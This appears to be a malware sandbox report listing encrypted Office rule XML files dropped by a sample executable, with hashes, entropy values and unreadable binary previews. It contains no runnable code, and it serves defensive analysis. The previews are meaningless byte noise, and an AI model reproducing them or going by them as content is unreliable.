Preview:	<?xml[:.t..?@.70.%..33KD.tS....zX.%.J........D.AH.......2....!ji...N.<.-.e.p..a.M~....g]`..M..~..bp..........a.Cz&.)..h..j.....:.....+...4m.UJa.B..e...(...@....JO..d....ZD}.....0G.<jGfF..-mI....P/K.>.j...\|...."-XI....G.^&..;.\|...M.jv.l..\.;.4.5..p...w.'/....at.k....z2.....3...i..H.X...B...^...r.N.a..}.....;..R....R[.m%rC.....S%........"..df.>..Y....<..B,.;...7.>.fUT..@,.U...?.....d>M\|..L.%z/&..<....y.;.....eY1.g./.y!...<....z...4........D..c...T....x......]..2.#3i.K......Xa.k..=.l...c.#F.r..qj....R$..xCj.........d.pQ1W..61./K:L+.+'.....k.x.E........\|R..`n%....4.MA,.;.H....R..7.....Zy($Z....=..'\..k...o...oc....W.\|..9....\|.ZS?.b...v6.o..pmW....U...DUs".~.og....z.t:t<5o.5d.h...A......"V.F...DnO,...pX.....s..}...^.m..................h.'.p:..}Q.!.@93...7................<.t..MS..j*..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.827526053676794
Encrypted:	false
SSDEEP:	24:koFQynsmAo/gg2Z+DfmxzqEOtRE+Us/+6ArqAKv1Lu74ObD:kWsTKg9ZepEOHE+b9zLuPD
MD5:	0A0DFE6AC8EEE59BB701D0FA2516CCEE
SHA1:	EAA02ACDA783160D2CBD0916B2936C99AF95A88B
SHA-256:	4197872E2742C49D97F5E10A790FF6219BC40AE97A29B98016A9A378BBDE8AFF
SHA-512:	393BF90DCEA5D4D11772D76BD4625F65B8D3AF715B742B8398A873ED8B0323CDDE3A03C7325FB160D6EFD9CC9ECF8C8403348B2EA963E505F40E02036BB153A1
Malicious:	false
Preview:	<?xml~..e..+..AHV^H` ;j%v..Gq".*.X.F.lZ..oM...&}..\|.,.].o.v...qj.......K.B"..PH.._.y(..U..X...7..a.+.X~.o..@.JG;TD......^.....^....JC........8....K....&QJ.y.....e.......q.6D.o.........j~..C.....J.H8...4b...]r.....0.5.5..J...TB)._..C.o.....c......a.-..../.Z.n...U....._.t.......T .2@.YP.DO.b...\#.&.c.'..`..Z....w....G8..:.{"l.`c[...[...M.!.p.z'........`2.A...~.I./4V....^......Es.8...X.'.^.....G..}...u4sp..7.:...K..q.%F.."=.\|{J2.i..g....i..S...."..U.s.%.V..\|..Rbi=.....Upr....m.}..U,.Z.Y5w.....P.>.&.`...X........7..9..... .9.O..7..Q.n.....y.LlIr.bjW.-.Zw>.QM......."..Q.S\|$.J]\|..L.Q..Y.e.p.....VZA......%G,...g6.N~=..V2.. ......O<...a....#........a..F.,).6...@B...}.2..{O...l...=G.N......i=i..%[..C.Ht!}..C=.....m.....A[.T....M.=Z.E."=4.jI.;p.............. .=.STX.{.qq\I...}<Z...[.\|...{pQ...M@.....Q........s.fT'...QwBW.6..!Xn+.,XU3....wqb.s..+D..g. .k..,....k....K....[..u.&.4..r...{...G....2."...........xx..p].KW...=z.<i.R..).H..j...w1.^....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.787685044927692
Encrypted:	false
SSDEEP:	24:RbBnftOe+6YUXUg5VGewMkVv7JvC004TMNLDnObD:nfSzsUg5VGesv7JaQEsD
MD5:	D67C21144B0923FFC6BF3778D4F694B2
SHA1:	B4EE580DCF4297EFD546A6333BB46223E8EA0C47
SHA-256:	E739F3B877FE102C2181D2466CFFA4B87DE84FFE216C1361920C46B4E219CCC9
SHA-512:	264339F90D4D4F4925928CC31AB52D9266E74E7F658758BC3585AEEC903BEF2033BEAEC5770DA81BAB0B0337F68AB7631CA0083031733AACEB80A66CA6CBFD2E
Malicious:	false
Preview:	<?xmlh.^..g.....;...e+..9...+;.]k.3;.p....z.%I...>?..g.(....f'f.....7.m.\.d&...U.....>....w#..{.....O{........%.....,..h1........t..7C.....q...P...}.s...r4..o$..H...\|...x~C...9fb .."buV+r..-GPhmWt.{.@..(8..md:n....:X..`...e....\|.....t...q.Kun..7....8....._).....?....uD<..\.W.gVJx...%....-.pml...~.j1;..<......fa.+.7...?.F.`...fx.ap...H.,..+... ..P~QY.-x;.p.w[..!..../H(_.~'......a........e.1R....h\L;~..j;)\|.i.y...gWS?...TL.hT.....Xg......F.....eu.u..L.[.Kc.....]..gK..=.....p.....8.....n......N.O..[...P?...v........r.....BP~..4~....r..l...3.....U.........O_...!.C0.Ru.Z.`.N.....)NP....F.`.IS?.$h.....T...r(...Z..f...Q.g......w./.-.&..N.OT.6.....+........~........X1.\|`..Z...F.E(S.....&.S..{.%{;.p_...6;p.OM.m.d,X....2..........n..n}.&......r.Ic..A.ZP.5'...p6(..4.&X.wu.(....BK..)T.}..D..k;..I.}/..?wO.L....7.......k.P@..K.6.M...n.O.u..Ih\|C..{G{.....P.....p.E....1_.Zekb~...a..v....6;.L..c.H6..(D......Z.....CA.s......d..=.&>q"j_Wl........8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.818461116129064
Encrypted:	false
SSDEEP:	24:ne5oEpJZWrrCpVl5PFl+ogm0PIzt8bXbILcmYr/0ObD:soaJZWrGpFFl+op2IZ8bLlmOfD
MD5:	24DD0DBFA3425B7099EDC71100AA8411
SHA1:	4A844380F773C52D6C0408F25FEF2A4C9335EAC3
SHA-256:	4AF4BE44ED0A7FCFDBE9313C1325C7D065D38D893EFE42EBBD36F5251143165C
SHA-512:	BDC6582627278F7073BBF824A382E3CA336ECDB73835B3EB68B511D5606D0C8C190B115A50CE04E0BED9F102207AEC8374D14BC46816F68591D343EC370A9E28
Malicious:	false
Preview:	<?xml.6.{w.?....~.@c.....z.l.O.7....n...dS.q..(...he.[?...IE..-..hv..Z...r..7............Eiuv..i.....?.......'.....@c.].....:..t...s2...."&}..H.....I..1.5a....@...+..G..../..5s.EF.o_.;....).m%..M...,J{....Y.~.:.;P2...[/....8;....'...I;.a#v-.<.........:D.(....l....K..L.t............8../.j2.. R.J3....b.B..D.er....Vl.#..\q..Yj%..a...Z.Q..H+.q../.9..F.4H...4L-..Gv....n(S..7\....b.{N.fj...l!.p.$..p..F+..c.LSo.f=.[d.4..YL#....U....m...~...vn.]^.l.h:$.}...-?.'$t.{.,..aR.l..L......R.J..(1um...3.....R...N..%...l.q...MO........iK;Q..xq..t>.p@.%.!t..-.._..,.`..=..[K.#.Y@.,.__.E.p.....&...,...6.W........7f...%...a.s./SV.l..^.?`.q{.c_...^1.Rp......{.b.C....... ..y. .q.Eh.!....._.PE.....i.[.Vz.ng..3x..1.%......H..+........r%.PT.FJ.#..K...,L=A..x.... sW}.)....x.@..%{=6..v...5.3.n.tl#`.mQ2.1..>..<....g!..U......rrr.,..n...Pp...;L.9j.x/..Q.DB.C..f.Im..`.qPoU..Z.;...&5w."=}..j. vk....)h...-.....<c..... ...K..0.g..v...8..m~....r"......;*.;..0..._..g.q...\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.783957138063465
Encrypted:	false
SSDEEP:	24:rO0Muib9xgXAv6mDXj8P4SR0oQNnX2cfSMEbdAaObD:rOZusgApDXaRwNmw65A9D
MD5:	DD3D39D5B3DAC15D0C8AEACBE2E37CE7
SHA1:	A1323C0B5C7797A2FB059C81D41D54D56B9E5406
SHA-256:	6489E434BB8FD12E1FE9EC1B378F5DDFB2CE29B14E7CE78F540FC5EE27937E2B
SHA-512:	8F838F112A974BBC914A701FB1716C7459395EAB2A969285F42541579B356DE830B910FEA2BE49D862EDD3F550C4C5C51C07A8E5377E9DA7586F0783BD81A9B1
Malicious:	false
Preview:	<?xml..u.>.1...9..^.....o.]H0.....+f.<..B".w.....[FB.0{..dx......5.8......{....:.D..k.z..e.g../. .L....nj...)..:.'LQ...Sw.k.M`.$[o.....^.h....5T).>..`7z.V."Y......i..U.......]........T.3L...v..<B?u.k.u....~.h.....e.].7..._....T^...u...SZ..U.AM_ ..J.".b<i..'.x:...........{b.T]dw}.6......5l..J.zE..U.R.-./.g........E.`:u.....w.Xr...oP.+}....r..&.q.......a:............+;..E.+^.?......2..+.yH......o.:.....@...JL..j+.X......'s6..J4..\t..$z+..z0EWG.N\..o..nW..+'..M%~s[..?..\|.kH.]....X.s.../.N;.....\.Y....h..oR.nC_..&.'u.<.kT.... c5..JG...MX-.p..-.s.L.`.m...y.:....3..KmhCY.....&.w...5.K(2G.....h.9.0..B.3.-....C..H..G....\|.q..=..`vU_..N...I._......k.}.F42y.....pCa%..l..u.......(.n.^....z}....d..)...P..2.Y...W..B.......3..C.xK..?.r....F.6._.C....O..h..0.R..M.....R...".H..P.i....b..V..l.m..9..9.5.q..+.E..B..6...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.804911072381972
Encrypted:	false
SSDEEP:	24:wonhTL5oIvLTuYefcz7uBt9Sg4nOip4iAhYXQip6ObD:won9aInCfC7uBt8nHcYXQipdD
MD5:	6E69448AD688895FA369070606F22B85
SHA1:	427EEB8E1883A31736187208E1752F7F0CCA1FD2
SHA-256:	A84E9ECD2B066CDCA39CBE3D5390D8296FA3A2853E473B449BCD38C53CF6DCE9
SHA-512:	72724A8323A962F901670847879832963A98F2C045F56C082CFF93FEFFF5580FE56ED3F88ACD8925F8C3476F0DA0A96E36952D318737F6CEC5FDB5055D8B7108
Malicious:	false
Preview:	<?xmlM.M.\M......M}[...]..4-f.....(_..'gM.8.sJC$.....~.......q...;-..+Q.gk+.`.P.;...i.......y#...E.k.....c......A.".cB.x=... ..YC....18..?..!..1.l.,....mT.l.....n....}..~..Z.%...W...~.<.0i....Ok.2j.d.=#...n...X....W..A.K..V.6tBM.^R..Zl...f^.SX.....d.E........k... .$m...j//.^~......$.\|.u...P..:t%.D[y..."7.V...5.8.;...#T.Eh7....R..wZ`...5..k..'.r......1\N...V...L.(m../...3!...6:......n.....K.VKo.4bb1.......ku.P)I}..@G)...Y....M.....M}X...>_....6K=:8....\|-.\,.......h....V.\.gM._...7....E.._L.c...!."cO.pG..4. .o.n.[...;.$....-.......Cx.@="&.......y..P...8K..'>.8..1=.X#.3..n..~......#...sG+B.......b......p-q.'..W@AT].z$q....^Am..@.}.=..T..E.#m.4.0.............u.N.r..1#._:.W.IcY'U...r... !....Y~s..I...<H.._n`0.q.+k.dC}.RiI....1.k....U$8....>."I......G.l.?....z...X..H....V..W..=....\..8.%....P=62..H...s+.#..`...-....9.>....\|:@m.#WL=!.W.7&5.x.D.O[.0..V.8...;.,t.=....^C.G.....?..c......N\..sx...yT...P..p..b^...CL...5-...e......."MK.H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.8303109735694525
Encrypted:	false
SSDEEP:	24:vAlQR3L9c/jNB5J93MwngyG014kIlC03tS7ALoLpjMd7039gNHw4lmCkmQbObD:vdR3Lm/JB5XMwngb0qkIlC37DYlm9CHl
MD5:	28C1DA7C2E609499F6E70D70C79A9D86
SHA1:	30CE7BB565773F10BD1785416D40F0B2581C0596
SHA-256:	13D32585FC4E145AB3EBED57207AC96E088A7C838C992FF29713F59E374B22D9
SHA-512:	9478EE6DA0C9DD572621F18D1891A10C38E9B41902535D91B4192467F2E4DED34C1D791A083FBF81A1845814EE03EFA1133F0DAAF07F7CB9AF9A5E45752F9F95
Malicious:	false
Preview:	<?xmlJ^t+..).L..ko..d.bNq%...-.^.3Y/.....K>....d.?.\|.-..5....^..,}2..M..;n.....]....j`..mb.s....A....2."......8%..:....}O......f.].....:~7.Qn.D....Q..."3W. `j....l..Dz"...l.W:.k..9......]..\..v...X9....m9M...L...[.0..ru1..s.9-........G .......t@.wPy...;Z...s...k..0!(Lf...... M.?..kk.S5C.E>$ys........\|WqP..j......f.....6.^.2...#...O.$..jE......]..e.BZ.Y.O..O....9...1........D/.{..2.[.D.t96..F.F..Wwd.w..[...4.Z../..B....Df...C.0i..Y..n..zvC...."..!..A]...g.:..X4.Y..k5e?Zk....]..w,U.....C..f..W..'<..........v..l...O(.....-^..F&k..hb..?....m....z'.. .e...............H..S$2.c.9...P..[L.~...:X.Rr...F.m.f.V.O{..t......X.0.Alt8...B..V.j.....B3...+.yo..^z...'..U..K.)...W..mK..h..>..q.B...<....u..,5u.k....$.7..qn.t`.Q...$...c.....HCG`.:..3...u.\......m.....Kaj5E-..5.8..Ja...,....E.....G..;...A.J.G...^....`.u-...SI..*....../1m.&.]...C.'.:.....+.......&...?.B..#k....Z.?oXi..2....T......8.o:.......0&..4....75N.......;.I..YI(......%O$...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.760613040867696
Encrypted:	false
SSDEEP:	24:mrQvdcxoxUaZ7h4UAfS3fj+6I40Un4kiR/BABzypfdAv4mObD:mAcoF7hgSvjHP54kSAEM+D
MD5:	B1A5CCB81832EEF78CD5ED12B52AEE8B
SHA1:	635EB40DA7068E753F1FDE83E77C1905B14D2620
SHA-256:	FBA2AD70F3B2729699B098DF4923FD1BD04970F333E6DBC852EB4780919CC1EB
SHA-512:	A840A99EAEEF59350FDC87E8169B48042363F299E7C9100FED6041CD5F8A0BC789F6A666B59FCE3680A7D203B0EA53EBA5EE233B57B57F67590D401ABA45FC89
Malicious:	false
Preview:	<?xml.m...>....s..A.)'......f...'...\..s.k.7.o.K..80...U.l.ei.tH....g.0.....+\|&...l..GU..m>.[.......)NO..=P......?....[r.Ez....c.WD.....m.!.]!.. v....F...).e...s......%...T...U..z..g.m..Y..o....T..s....7>.....y..z..E..p%.Bm(....t....A.......o.p.,J...[....\|....*.)...{..9b.......J...D{..6x%8.0...!..Q...9...J..'..BM-Q.E.;.Z..._.._5.....MSk..(l.......Eo./......pn....3...~6...$..e.....b$.xL.!D.H.E..y..S..3..E.\|...M..AzO..g.l...@!...z....../..K';..y...l~.}.j5........\|.dh..,P.R.1>D..]..7.....%4L+#r..y#>6RT.W..(.;#]".....F.......V..)V.bT<a.J....DQ_L1..`o-.-....w...b.t.w.\|".....9...1..J<E.8...MLr9V.G..g....W...4..0-q.I[.M...L...A@......yjb...qu...Z.Y...".p. .1...("......d...5...R.6..~66.0...].[F.....G.d.>.H.LaLI4x.L..bI..%....(...6l>....D.ei.\#.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.769331440521011
Encrypted:	false
SSDEEP:	24:uzcg4F4xGuEQHFpuGrMIG0XDrLeA+8F7ObD:uzAF4xG0lpbwgeOQD
MD5:	C7B932316F221FC6ACB917874F4A6701
SHA1:	E1BD9170905B3401688B38D7EA82E9AA8DB7080C
SHA-256:	F9E7EFF3DB57EDE74E197AA7A2B7DB21A2F6279F8D13C0140C835D7926194328
SHA-512:	F081EBE084FB7F43E9CAC42F26081549ABB456EA7841E74D6B495489DF7033E7AD24D872B53418EE809E63C115EAEA27218E51F684C9084CFFC7F9A4133B8E29
Malicious:	false
Preview:	<?xml.)jQ.<..H..Adq...d...@f.%.v.Pd.\8.....]hh~......f6....m.Eoz%.9..p...J.0.[...#z.4p.P..LN.........t..;..t.o.V.......s6..j.....!...m...j.>..$U..l...(_iE....!k.3...>.P.D..M%BbNJ=.X...?..a..x.....r.c.F..Y...N..(...Xi<.tO..>F+X.M.....r.@.=.......R.=MV.y."....!a'......n...,..{.{&.@...er..._.xT8s\u..EY...G.3.?&\.v...v.E...p......\9.yN@.i.p\|{1..eJ1...I....2.a......d....$..E..9j....;n.(.j..51t.y.QgJBKW+_I.....q?.MRw...&o.+vD[.R.Q..=.(/Rzf.\|..._.Y..e.....NG.~.....su+'.<....9...yP..78.T.4.f....6..a.I?=....1'..R.w.RJ>...8q.2.)......`.X....3rT..Y......._n.6(K............3..'.\.C7U,9d.>~W...Z...8h....)..P..`[4....N..~W.N..~j.0P...>.................]$......F.........pS...kL./'...>+G.?......Z.l...J.).if^.<+.......Q.A.h...B.=..Uh.A.:.,\..2....>3..6..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.766754891690506
Encrypted:	false
SSDEEP:	24:Ht2066/Elw5CMMJ30dvDICZtbmoa2gQP5a/6OXKKduObD:HtT620w5Cp30dvDrZtbplgmU/6OXKExD
MD5:	53CF75DF51F494682C1303835CAA4C9C
SHA1:	FDE0BD26FEE49BFC6008FDD64B868EE7282EFFC5
SHA-256:	31139D479932DEDBCB0F269C821D6C2FDEACA376BE9E9942B827AA1701E5FB5B
SHA-512:	519C8F9E4FC8C51F165027E2463034DB54D2EB8FB2F52476883AAEFA8133D595E1C0B3D443422E631F45B3C3EE9F25F7AA6123396AF2A49508F98058A8069CA0
Malicious:	false
Preview:	<?xml..S).R...I.sl.].1<\.p.a...I..S.SO.....~..O......./C..f....w.....M.e.T.......`.....A.=6..@..dh+...a'.y_..[.....Q0.o..Y.og..)..Xh......Q.:)..r.........{..SXP...uf..MQ......$Z..$..xr..F.].1...t...$1.~....c2...fm\|.....~...;.x..i.g.(b...o...-...V[.L.M..YN.fB.,+.%....B,'`..Vl.0.h...=$....:..l.xc$D4..kDu'B...l.^?.%......Ao...Vd...#.`.....is2.. ..qI.K.t?u...5......HB.....Q.0.F.a~....v.....&.....c.......V.0..6...s.,z..BY...1e...... .6b.3......sW..:...mK....fl.[....V.na..............\|....;.......%..~..>MJ..D2..3'V:.e1......V.........X.+.eL.I.K....8!_....................6{!i...f..;.......sO.;9O...o>5.s...U.0G.C.3.).2.U...vXh.zH..S.^.).....H....&.....{$P}..I..f.55"=.:)..d.i.9z.JH.:.<.fb.-......<.%..]'`....X....\.H0.6.DCb._'K.>N,:.u..".{..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.809009452796754
Encrypted:	false
SSDEEP:	24:1GEuG+j9RszPtMAsp2guo+dRWOaoOC4zgROkGHrx1ObD:1GvGPtMqo+X4NzgUHrx6D
MD5:	F494460E7F63AE59348A2FB4C59277FB
SHA1:	C003DE730A3627BE972DBEE82866AB896B6E8EB7
SHA-256:	6CBFF23D10B9DAF9D9E98E948314438ACB48F34058439022D977AD46CE54A71B
SHA-512:	7D19296198FAB3F3F5D47F5DEE0F9CDB59A1F0FFE71C0FF782F8E79989DC1ADF9B65982010AF51934EFDE913F165D60FFB0F8AE12A3AF118E6D83865BBA06FAA
Malicious:	false
Preview:	<?xml.....&!!..R..".t.S6...d+.u.-..>..g...........(._.Z\.[./..~-Go..!..e.....J..7.a....U=..Y..B...B.o...$`.J.\|.K.. ..G.......@.......U..C......2xh.Vj.......`.7.Q.....oP8.......<.2hN..Up/.Y...p..8./....F.j.1$0..9.Qxp..........1.R..=w..G....8...9.r3..r.C...QJ.Ul .2....p.jh.DT.v.F....../H..B..j..j.........2s......a7.k..l..w....V..3\|......L.E.[.<..]-4..wRz3.:..9~3.*...."j...F.....,;.....F.....I0......B...\|...7.....l.{5+&)\....)..K.a.RF.Fk.j.t....#ay..s./g".$.......w/#...x....(..N.{Ye.Z...oL`t`...F4.....`z0mf....]....wQ..;X ....~w..$.L.45..<er..s..~.Z<ys......Zy~`.....u.Kk...,Y..`......G...6.....M...T.. +{=.H.i.. q2[..'D=.5M.O.....s.SnX.p.W....UqzQ...e.r<4J.0.....^Lra.`'b..~..0.8.fur..~C..~...W...O."....,.....\|.#..z.]r...x.DG.T.......P....4.O.NI.....DV..F...9L...FV...D\.Tx.u:<....:.?..N......l.m.h.w.......l...c.qrL...G...z..0...T.zT..z...L.?.H)...Y..3'M.\b......B\..m..n)-...cX....3n.^..`...GI..>..\f.j..eI.....Y....9S4.+((.7Z6iwSvCoAt8T8K2ROxecu

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.727491692660348
Encrypted:	false
SSDEEP:	12:90AaNOmcFxoc1OwODf0nMXUc32W9ipe5sV/wGy1dk/v/bOZXjaxHfckZBANgQRbp:fRRuaED0y73upFV/wDdkX/bOXJzRKObD
MD5:	6EEB1164E363D0DBA2BC481343914AB9
SHA1:	E9DC8EC47A26A1C7431105F3C3903E2A237EB411
SHA-256:	7BDDFE91F9732B2A34CED04B2F8C81D07E8E45830690F8E95A6B0326489C534A
SHA-512:	CE56AA65B11D0E0253BCD52C1AF7C199B8F52623203FE2EC0FD916A6B3821310F01F03B749DD147E38F97EB56908D2F5C9B71CC15665DC9AE61D35AAD4E79C41
Malicious:	false
Preview:	<?xmlhJq.....5...A.fIG.6......OAe.....M.A..~..l,.....).t:l..y....[n'....Y..?....N......r48y..........MZ!Z..nm.`..>...5.hS.3XK..c.0................p.W..V_..#.\|..X...M...O....P4..d..$.-...\.H......mT....2..@.F.>7.b8Q.5}.1....'...RA.....Y..c9.....(.2R...Ax.....C.!.<..`H...w.X...KS.pF7..,..@...J.<.........^...0..{.f...c.....D...S.W2.....c...>3.goPx5Vw.....V.\|?s....n.>..j.......kPPx...j~..9....N.!../..........?l+....zG...n.`X. a....Z..&.uV.SI..+.......U."../n-{r.w.....O.`+.5=.........Mn.c.;.[...~..C;.].f.r...Ss.;..T.T..[1b..{x.Y.fO#.GV.0z.....9....d.z......Va..7.P..'....{.+..L..&.......h4S.&.=...7....=.1.W....Y.>.7n.A....#.........NmU..M.HZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.8139433107548415
Encrypted:	false
SSDEEP:	24:JIra1eO9bFMm0iTYaRKUIcVUbtlfjyxb7a2aSVsHEOMF7c9ObD:6a1/NFMmWdUnibtlfsb7bVMazD
MD5:	DBE4C73ECEBACEA5870AA3588069A7B0
SHA1:	354A2BDB5AAD9DF1DAD8538BAED4DF10098C371D
SHA-256:	9011E0810631A4A2A9CB079089411AE01AC185FEE71BF50BEB6618844119D2C1
SHA-512:	251BF97FCBE5114E80FF577E6B81492D202022BDB15C6C5D88B42D380809615FFD902AAED74B16470249DFDA972FD1A3954D300A186DF7618E026ACA00B6306B
Malicious:	false
Preview:	<?xmlL.#............]pJ._.t..'0.S7q.:d.}....aa#.=7.@.g;...o.Q..p.8VT{.\|.p.]...&].....}8.=O../.-...KE}..8.2.o'\.1.....17.\..i.V..3....5....f.D..QE7%n..........)U....Bl.l.aS.r.o.).H 1........0....0....$...V.\.9..N.y..\../....u:.W.J.+)..b.Tu>...3)..o4./...~...Egvc..\|.e.V}.....+.E..+..N\....2.N...P.V..Y..O....f1,7..A.{...0....=..>.>...fid#....Mf.dpb..6..x.....!.........<.m........].3......j.$(..Q..# ......no.......W.u...\|.D..r.P.f%....9.q.`\|`\.........."\.k...".......(..E...?.......k.Y."p..=.~d...K..J...TgP6...T...q..;....Z..8...y.........t.....$....;.3m....Ro.A/..........}..6+...~....bYC....i7..ZF..9...1...=!7..x.).......Ds..~...?....,.KL...O....m. ....._...8k.SXP...L\.D.?b.I..=q=.\..^D...Z..BSp`^....D...\....U.?.......Y.J\_o..U...s.w.q?...M..A3...._......#A.2.K,..9.u-.X(u.../..X4..U.+......w.,.E..bf%.I.3]])...v..j.o=....z.99.P'.....U.E.\|>u..].[5.......W8....;RZ....#.`.m%.Ea(y..@G..jZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.752725132891583
Encrypted:	false
SSDEEP:	24:2zS/uOpCtB28GpGexgIIpqG4GtQ6K3EY72iu66LKObD:2zS/NQBGTglpz4l6uShPD
MD5:	F49C4D4ED87441CA99B578012C6AB1ED
SHA1:	88CA64AC0612C7677C566EC2D812F83ACA9A35E1
SHA-256:	D99F8B1C061993CD927368518005DC0FD9743AFB13880CC379899F76E156F612
SHA-512:	108A2581C4755BCB4DBF1A5A79F722492FC84F2FB198F36C4F8B63A51D92C40D9E83B6C91EFA7EF2EC1D53DE251EE0416BBDB8F186E76E2D13C17F284221EF02
Malicious:	false
Preview:	<?xmlL...Z...`.Q......x.Zp...%...... .........7....".#..{..{.#8......].C..x.....N;F..Um..jJ.....a......g.....V....g.c..#......bg..>G!,..N{.....k....[.I..YBA..Vw.?.)....90..C..\DPE..6-.T...."wB.(.....2.....S...@/.Q...U.HIM.s.T.M-\|u.w.Q...t.....1<x0.$.......$8._&..5..7H.6p.Eb.....9.....R.Ws..+l.$.M`I..+.i.../+........D.(.L.....Q...VH.U.k&.y.SmO..b......[i.E........K.@.WtG....lJ..AU5..P..Ke.t3.U......0.;.8..Y.B.+..QN8.....t.<T..1..8.].W.E...1.f...{......v+Z$.a.. g.e.U..^RB.3.tJ.D..R..W`"....[.gqmf-k.9.<..\"..$d)...q.....&.A.hJ..rI..\|......o.E..M..41Z..j......(.9..2..<TJ..}..:m...ZO.@......Gg.....8...w..2uom.-iy1.QI\.z..s.q;1..&;...(...m.w.<..}..'.}...q..PRD..2..>..=.B04.+i.ZC..i.....v..r}.l.;2...Yl.-.....l./=....2.b,.#.......O.... ....M.C.mG^...(\\|=FX..@.3..B.?b2S...{......zd.._Z\.,.s.M.x.).(.MZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.824493965445598
Encrypted:	false
SSDEEP:	24:IwczWtFPuI7sbr8PfIDsJT6xdntzQ23gu2rK8ObD:WzSPj7d6ntdwT+/D
MD5:	6E9B08CDE7BC6EF71FAD8FA3EB4CA75D
SHA1:	117069FB6E8A609CE54D731BD80E43F70EDA9992
SHA-256:	6A830E15ACD4E03BAA51E817260C8651F134C2381AA924F8E29F1013150B9896
SHA-512:	848FD1DDB2F54E4100FD29A9D08C44A0B5E259B17C6DD202579CA92B31B86152BDA5F494D811E4968A008C52A722A7CB5FF2E9B8221410FCFF24EE1606653375
Malicious:	false
Preview:	<?xml..:5.....}.n.\|...a;Q...o..../...w.IwZ.5..4..O....JW(q..\|.O..... ......#.Y...#...m....V.....O.5u.e;.z..p+.......)..-\|....,...Wq..l...(."A.V..(.-.Gb!...'...F2.b.U....U...5.i.3.m..N.,..;....@d3.....+.IT.C+..9..0.D~Z....Y -"...Xa.....$.8..tt..#..^:.k.kH..........9?......K.<...7.q.qc.>P0....+.}.n..p.?..,\|...RwK.G....&G'n.4.u....=.K...W.Mt.@.....L...#...w.G...J.....lj...H9>=g.$>..j.....r...<B...<.l.......E..\|%.....2..~..E.k..?..J.m.X?'%.~...`.z.lS.]."7GzW......E....<..Z......Vu.].h,T....C..5N..J.._.f^+.\[wZ4..Cjh.-..-x......i.^.H.$..;.`..d.........Z..p....%...n...C..ep3._1...../...v%l...-gy}-...st...s......@Jeu^a2.E.iw.i(k...]....Y..^....3...[..<.Ck.u.eTo....Z3.....:..H.W 